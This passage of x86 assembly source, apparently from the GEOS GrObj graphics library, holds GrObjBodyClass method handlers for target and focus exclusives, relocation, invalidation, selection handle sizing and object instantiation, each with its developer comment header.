GrObjBodyAlterFTVMCExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: The body is a target and focus node. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass cx:dx - optr to grab/release exclusive for bp - MetaAlterFTVMCExclFlags RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 2/12/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyAlterFTVMCExcl method dynamic GrObjBodyClass, MSG_META_MUP_ALTER_FTVMC_EXCL .enter test bp, mask MAEF_NOT_HERE jnz callSuper next: ; If this is not for the target or focus then handle normally ; test bp, mask MAEF_TARGET jnz target test bp, mask MAEF_FOCUS jnz focus callSuper: ; If no requests for operations left then exit ; Otherwise pass message on to superclass ; test bp, MAEF_MASK_OF_ALL_HIERARCHIES jz done mov ax,MSG_META_MUP_ALTER_FTVMC_EXCL mov di, offset GrObjBodyClass call ObjCallSuperNoLock done: Destroy ax,cx,dx,bp .leave ret target: mov ax, MSG_META_GAINED_TARGET_EXCL mov bx, mask MAEF_TARGET mov di, offset GBI_targetExcl doHierarchy: push bp,bx ;orig flags, flag we are handling and bp, mask MAEF_GRAB or bp, bx ;or back in hierarchy flag mov bx, offset GrObjBody_offset call FlowAlterHierarchicalGrab pop bp,bx ;orig flags, flag we are handling ; Clear out bit we just handled ; not bx ; get not mask for hierarchy and bp, bx ; clear request on this hierarchy jmp next focus: mov ax, MSG_META_GAINED_FOCUS_EXCL mov bx, mask MAEF_FOCUS mov di, offset GBI_focusExcl jmp doHierarchy GrObjBodyAlterFTVMCExcl endm GrObjInitCode ends GrObjDrawCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyReloc %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle relocation and unrelocation of object PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass ax - MSG_META_RELOCATE/MSG_META_UNRELOCATE cx - handle of block containing relocation dx - VMRelocType: VMRT_UNRELOCATE_BEFORE_WRITE VMRT_RELOCATE_AFTER_READ VMRT_RELOCATE_AFTER_WRITE bp - data to pass to ObjRelocOrUnRelocSuper RETURN: carry - set if error DESTROYED: ax,cx,dx PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 9/17/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyReloc method dynamic GrObjBodyClass, reloc .enter ; If the body is being relocated after being read from the ; file then it can't have a parent or a window and it can't ; be realized. Also, it can no longer be the target ; call GrObjBodyRelocObjBlockArray cmp ax,MSG_META_RELOCATE jne done cmp dx,VMRT_RELOCATE_AFTER_READ jne done andnf ds:[di].GBI_fileStatus, not ( mask GOFS_TARGETED or \ mask GOFS_OPEN ) ; Clear any suspension. Otherwise if we crashed and it ; was set it would never get cleared again. ; mov ax,ATTR_GB_ACTION_NOTIFICATION call ObjVarFindData jnc clearStuff clr ds:[bx].GOANS_suspendCount clearStuff: clr ax mov ds:[di].GBI_unsuspendOps, ax mov ds:[di].GBI_suspendCount,ax mov ds:[di].GBI_mouseGrab.handle,ax mov ds:[di].GBI_mouseGrab.chunk,ax mov ds:[di].GBI_targetExcl.HG_OD.handle,ax mov ds:[di].GBI_focusExcl.HG_OD.handle,ax mov ds:[di].GBI_targetExcl.HG_OD.chunk,ax mov ds:[di].GBI_focusExcl.HG_OD.chunk,ax mov ds:[di].GBI_targetExcl.HG_flags,ax mov ds:[di].GBI_focusExcl.HG_flags,ax mov ds:[di].GBI_head.handle,ax mov ds:[di].GBI_head.chunk,ax mov ds:[di].GBI_graphicsState,ax mov ds:[di].GBI_currentModifiers,ax mov ds:[di].GBI_selectionArray.handle, ax mov ds:[di].GBI_selectionArray.chunk, ax mov di,ds:[si] add di,ds:[di].Vis_offset mov ds:[di].VCI_window,ax mov ds:[di].VCI_gadgetExcl.handle, ax mov ds:[di].VCI_gadgetExcl.chunk, ax BitSet ds:[di].VI_typeFlags, VTF_IS_INPUT_NODE done: .leave mov di, offset GrObjBodyClass call ObjRelocOrUnRelocSuper ret GrObjBodyReloc endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyRelocObjBlockArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Handle relocation and unrelocation of the obj block array Pass: *ds:si - GrObjBody ax - MSG_META_RELOCATE or MSG_META_UNRELOCATE Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Jul 17, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyRelocObjBlockArray proc near class GrObjBodyClass uses ax, bx, cx, dx, di, si .enter mov si, ds:[si] add si, ds:[si].GrObjBody_offset mov si, ds:[si].GBI_objBlockArray tst si jz done mov bx, cs mov di, offset UnRelocateCB cmp ax, MSG_META_RELOCATE jne enumerate mov di, offset RelocateCB enumerate: call ChunkArrayEnum done: .leave ret GrObjBodyRelocObjBlockArray endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RelocateCB, UnRelocateCB %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: callback routine to relocate/unrelocate an OD CALLED BY: PASS: ds:di - address at which to do the dirty deed. RETURN: nothing DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 5/26/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RelocateCB proc far .enter mov al, RELOC_HANDLE mov cx, ds:[di].GOBHE_blockHandle mov bx, ds:[LMBH_handle] call ObjDoRelocation mov ds:[di].GOBHE_blockHandle, cx .leave ret RelocateCB endp UnRelocateCB proc far .enter mov al, RELOC_HANDLE mov cx, ds:[di].GOBHE_blockHandle mov bx, ds:[LMBH_handle] call ObjDoUnRelocation mov ds:[di].GOBHE_blockHandle, cx .leave ret UnRelocateCB endp GrObjDrawCode ends GrObjMiscUtilsCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyVisInvalidate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: GrObjBody method for MSG_VIS_INVALIDATE Pass: *ds:si = GrObjBody object ds:di = GrObjBody instance Return: nothing Destroyed: ax,cx,dx,bp Comments: Revision History: Name Date Description ---- ------------ ----------- jon May 7, 1992 Initial version. srs 12/9/92 Now uses body bounds instead of window %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyVisInvalidate method dynamic GrObjBodyClass, MSG_VIS_INVALIDATE .enter mov ax, MSG_GB_CREATE_GSTATE call ObjCallInstanceNoLock mov di, bp ;gstate mov si,ds:[si] add si,ds:[si].GrObjBody_offset add si,offset GBI_bounds call GrInvalRectDWord call GrDestroyState .leave Destroy ax,cx,dx,bp ret GrObjBodyVisInvalidate endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyInvalidate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: GrObjBody method for MSG_GB_INVALIDATE Invalidates all of the GrObjs in this body Called by: Pass: *ds:si = GrObjBody object ds:di = GrObjBody instance Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon May 7, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyInvalidate method dynamic GrObjBodyClass, MSG_GB_INVALIDATE .enter mov ax, MSG_GO_INVALIDATE call GrObjBodySendToChildren .leave ret GrObjBodyInvalidate endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodySetDesiredHandleSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the desired handle size of selected GrObj's under the body. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass cl - desired handle size (in DEVICE coords) RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: need to correctly erase old/draw new REVISION HISTORY: Name Date Description ---- ---- ----------- jon 26 feb 1992 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodySetDesiredHandleSize method dynamic GrObjBodyClass, MSG_GB_SET_DESIRED_HANDLE_SIZE uses dx, bp .enter ; ; Create a gstate for drawing/undrawing handles ; mov ax, MSG_GB_CREATE_GSTATE call ObjCallInstanceNoLock mov dx, bp ;dx <- gstate ; ; Undraw any current handles ; mov ax, MSG_GO_UNDRAW_HANDLES call GrObjBodySendToSelectedGrObjs ; ; Record the new size ; mov di, ds:[si] add di, ds:[di].GrObjBody_offset mov ds:[di].GBI_desiredHandleSize, cl ; ; Calculate the actual size ; mov dl,cl tst dl jns gotDesired neg dl gotDesired: clr dh push dx clr cx movwwf bxax, ds:[di].GBI_curScaleFactor.PF_x call GrUDivWWFixed rndwwf dxcx mov ds:[di].GBI_curHandleWidth,dl pop dx clr cx movwwf bxax, ds:[di].GBI_curScaleFactor.PF_y call GrUDivWWFixed rndwwf dxcx mov ds:[di].GBI_curHandleHeight,dl ; ; Draw the new handles ; mov dx, bp ;dx <- gstate mov ax, MSG_GO_DRAW_HANDLES call GrObjBodySendToSelectedGrObjs ; ; Free the gstate ; mov di, dx call GrDestroyState mov ax, MSG_GB_UPDATE_INSTRUCTION_CONTROLLERS call ObjCallInstanceNoLock .leave ret GrObjBodySetDesiredHandleSize endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyGetDesiredHandleSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the desired handle size of selected GrObj's under the body. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: al - desired handle size (in DEVICE coords) DESTROYED: PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: need to correctly erase old/draw new REVISION HISTORY: Name Date Description ---- ---- ----------- jon 26 feb 1992 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyGetDesiredHandleSize method dynamic GrObjBodyClass, MSG_GB_GET_DESIRED_HANDLE_SIZE .enter mov al, ds:[di].GBI_desiredHandleSize .leave ret GrObjBodyGetDesiredHandleSize endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyGetWindow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return window stored in vis comp instance data PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: cx - window DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 1/22/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyGetWindow method dynamic GrObjBodyClass, MSG_GB_GET_WINDOW .enter add bx,ds:[bx].Vis_offset mov cx,ds:[bx].VCI_window .leave ret GrObjBodyGetWindow endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyClear %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Default handler PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 6/ 5/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyClear method dynamic GrObjBodyClass, MSG_GB_CLEAR uses cx,dx .enter mov cx,ds:[LMBH_handle] mov dx,si clr di ;MessageFlags mov ax,MSG_GH_CLEAR_CURRENT_BODY call GrObjBodyMessageToHead mov ax,MSG_GOAM_DETACH_BODY call GrObjBodyMessageToGOAM mov ax,MSG_VIS_DESTROY call ObjCallInstanceNoLock .leave ret GrObjBodyClear endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyFinalObjFree %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Free up any chunks or other blocks See header in GrObjBodyClear PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyFinalObjFree RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 6/ 5/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyFinalObjFree method dynamic GrObjBodyClass, MSG_META_FINAL_OBJ_FREE .enter mov ax,MSG_GO_QUICK_TOTAL_BODY_CLEAR call GrObjBodySendToChildren mov di,ds:[si] add di,ds:[di].GrObjBody_offset mov di,ds:[di].GBI_graphicsState tst di jz 10$ call GrDestroyState 10$: call GrObjBodyDestroySelectionArray call GrObjBodyPriorityListDestroy call GrObjBodyFreeObjBlocks mov ax,MSG_META_FINAL_OBJ_FREE mov di,offset GrObjBodyClass call ObjCallSuperNoLock .leave ret GrObjBodyFinalObjFree endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyFreeObjBlocks %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Handle relocation and unrelocation of the obj block array Pass: *ds:si - GrObjBody ax - MSG_META_RELOCATE or MSG_META_UNRELOCATE Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Jul 17, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyFreeObjBlocks proc near class GrObjBodyClass uses ax, bx, cx, dx, di, si .enter mov si, ds:[si] add si, ds:[si].GrObjBody_offset mov si, ds:[si].GBI_objBlockArray tst si jz done mov bx, cs mov di, offset FreeBlocksCB call ChunkArrayEnum call ChunkArrayZero done: .leave ret GrObjBodyFreeObjBlocks endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FreeCB %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: callback routine to relocate/unrelocate an OD CALLED BY: PASS: ds:di - address at which to do the dirty deed. RETURN: nothing DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 5/26/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FreeBlocksCB proc far .enter mov bx, ds:[di].GOBHE_blockHandle call ObjFreeObjBlock .leave ret FreeBlocksCB endp GrObjMiscUtilsCode ends GrObjRequiredInteractiveCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyGrabTargetFocus %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Grab the target and the focus PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 5/21/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyGrabTargetFocus method dynamic GrObjBodyClass, MSG_GB_GRAB_TARGET_FOCUS .enter call MetaGrabTargetExclLow call MetaGrabFocusExclLow .leave ret GrObjBodyGrabTargetFocus endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyUpdateTargetExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Provide default target node behavior PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- doug 9/ 1/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyUpdateTargetExcl method GrObjBodyClass, MSG_META_GAINED_SYS_TARGET_EXCL, MSG_META_LOST_SYS_TARGET_EXCL .enter mov bp, MSG_META_GAINED_TARGET_EXCL ; Pass "base" message in bp mov bx, offset GrObjBody_offset mov di, offset GBI_targetExcl call FlowUpdateHierarchicalGrab mov di,ds:[si] add di,ds:[di].GrObjBody_offset cmp ax,MSG_META_GAINED_SYS_TARGET_EXCL je setBit cmp ax,MSG_META_LOST_SYS_TARGET_EXCL je clearBit done: .leave ret setBit: BitSet ds:[di].GBI_fileStatus, GOFS_SYS_TARGETED mov cl,TRUE jmp sendOn clearBit: BitClr ds:[di].GBI_fileStatus, GOFS_SYS_TARGETED mov cl,FALSE sendOn: ; Set the GOTM_SYS_TARGET bit in all the selected children. ; mov ax,MSG_GO_SET_SYS_TARGET call GrObjBodySendToSelectedGrObjs jmp done GrObjBodyUpdateTargetExcl endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyGainedTargetExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notify body that it has gained the target excl PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: draw handles of objects on selected list. The RAW method is used because the objects still have their handlesDrawn bit set even though the handles aren't drawn. This was done to prevent dirtying the document when the target was lost KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/ 5/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyGainedTargetExcl method GrObjBodyClass, MSG_META_GAINED_TARGET_EXCL .enter ornf ds:[di].GBI_fileStatus, mask GOFS_TARGETED mov ax, MSG_META_GAINED_TARGET_EXCL call GrObjBodyUpdateTargetExcl ; do default behavior ; Setting the current body will cause the floater to notify the ; selected and editing objects in this body that the floater ; is activating. This may cause the selection list to change. ; mov cx,ds:[LMBH_handle] mov dx,si mov ax,MSG_GH_SET_CURRENT_BODY clr di call GrObjBodyMessageToHead EC < ERROR_Z GROBJ_BODY_NOT_ATTACHED_TO_HEAD > ; ; Tell the clipboard that we want notifications ; mov cx, ds:[LMBH_handle] mov dx, si call ClipboardAddToNotificationList ; ; Update all the controllers ; mov cx, mask GrObjUINotificationTypes mov ax,MSG_GB_UPDATE_UI_CONTROLLERS call ObjCallInstanceNoLock mov ax,MSG_GB_UPDATE_INSTRUCTION_CONTROLLERS call ObjCallInstanceNoLock ; ; Now the text controllers (making sure not to ; pass the select state bit) ; sub sp, size VisTextGenerateNotifyParams mov bp, sp mov ss:[bp].VTGNP_notificationTypes, VIS_TEXT_GAINED_TARGET_NOTIFICATION_FLAGS \ and not mask VTNF_SELECT_STATE mov ss:[bp].VTGNP_sendFlags, \ mask VTNSF_UPDATE_APP_TARGET_GCN_LISTS mov ax, MSG_GB_GENERATE_TEXT_NOTIFY call ObjCallInstanceNoLock add sp, size VisTextGenerateNotifyParams ; ; Suck the current scale factor out of the view ; push si mov bx, segment GenViewClass mov si, offset GenViewClass mov ax, MSG_GEN_VIEW_GET_SCALE_FACTOR mov di, mask MF_RECORD call ObjMessage mov cx, di ;cx <- event to send to view pop si ; ; dx:cx <- x scale ; bp:ax <- y scale ; mov ax, MSG_VIS_VUP_CALL_OBJECT_OF_CLASS call ObjCallInstanceNoLock ; ; Calc our various handle and nudge sizes from the scale factor ; pushwwf bpax pushwwf dxcx mov bp, sp call GrObjBodyCalcHandleSizesFromScaleFactor add sp, size PointWWFixed ; ; This call used to be at the start of the routine. I moved it ; to the end so that if a text object is the target it will send out ; its notifications after the body does ; .leave Destroy ax, cx, dx, bp ret GrObjBodyGainedTargetExcl endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyLostTargetExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notify body that it has lost the target excl PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: nothing KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/ 5/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyLostTargetExcl method dynamic GrObjBodyClass, MSG_META_LOST_TARGET_EXCL .enter push ax mov cx,ds:[LMBH_handle] mov dx,si mov ax,MSG_GH_CLEAR_CURRENT_BODY clr di ;MessageFlags call GrObjBodyMessageToHead call GrObjBodyClearMouseGrab call VisReleaseMouse mov di,ds:[si] add di,ds:[di].GrObjBody_offset andnf ds:[di].GBI_fileStatus, not mask GOFS_TARGETED ; ; Tell the clipboard that we don't want notifications anymore ; mov cx, ds:[LMBH_handle] mov dx, si call ClipboardRemoveFromNotificationList mov ax, MSG_GB_UPDATE_INSTRUCTION_CONTROLLERS call ObjCallInstanceNoLock ; Pass on lost target ; pop ax ; get passed-in ax value call GrObjBodyUpdateTargetExcl ; do default behavior Destroy ax, cx, dx, bp .leave ret GrObjBodyLostTargetExcl endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodySetOptions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the currentOptions from the defaultOptions and the currentModifiers. The currentModifiers mean that the corresponding defaultOption should be toggled before being copied to the currentOptions. CALLED BY: INTERNAL GrObjBodyKbdChar PASS: *ds:si - graphic body RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 11/ 1/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodySetOptions proc far class GrObjBodyClass uses ax,bx,di .enter EC < call ECGrObjBodyCheckLMemObject > mov di,ds:[si] add di,ds:[di].GrObjBody_offset mov ax,ds:[di].GBI_currentModifiers andnf ax,GOFA_TOGGLE_BITS mov bx,ds:[di].GBI_defaultOptions andnf bx,GOFA_TOGGLE_BITS xor ax,bx mov bx,ds:[di].GBI_currentModifiers andnf bx,GOFA_OR_BITS ornf ax,bx mov bx,ds:[di].GBI_defaultOptions andnf bx,GOFA_OR_BITS ornf ax,bx ; If the currentOptions need to change the update ; them and force a PTR event so that objects will ; switch immediately to the new options ; cmp ds:[di].GBI_currentOptions,ax je done mov ds:[di].GBI_currentOptions,ax call ImForcePtrMethod done: .leave ret GrObjBodySetOptions endp GrObjRequiredInteractiveCode ends GrObjAlmostRequiredCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyInstantiateGrObj %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Instantiate a grobject in a block managed by the body PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass cx:dx - fptr to class RETURN: cx:dx - OD of new object DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 4/19/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyInstantiateGrObj method dynamic GrObjBodyClass, MSG_GB_INSTANTIATE_GROBJ .enter mov es,cx ;class segment mov di,dx ;class offset ; Get block to create object in ; mov ax,MSG_GB_GET_BLOCK_FOR_ONE_GROBJ call ObjCallInstanceNoLock ; Instantiate that object ; mov bx,cx ;block to create in call ObjInstantiate mov dx,si ;new block chunk ; This will cause the object to be completely freed ; if the user undoes the creation and then starts ; a new undo chain. ; mov di,mask MF_FIXUP_DS mov ax,MSG_GO_GENERATE_UNDO_UNDO_CLEAR_CHAIN call ObjMessage mov ax, MSG_GO_ADD_POTENTIAL_SIZE_TO_BLOCK mov di, mask MF_FIXUP_DS call ObjMessage .leave ret GrObjBodyInstantiateGrObj endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyAddGrObjThenDraw 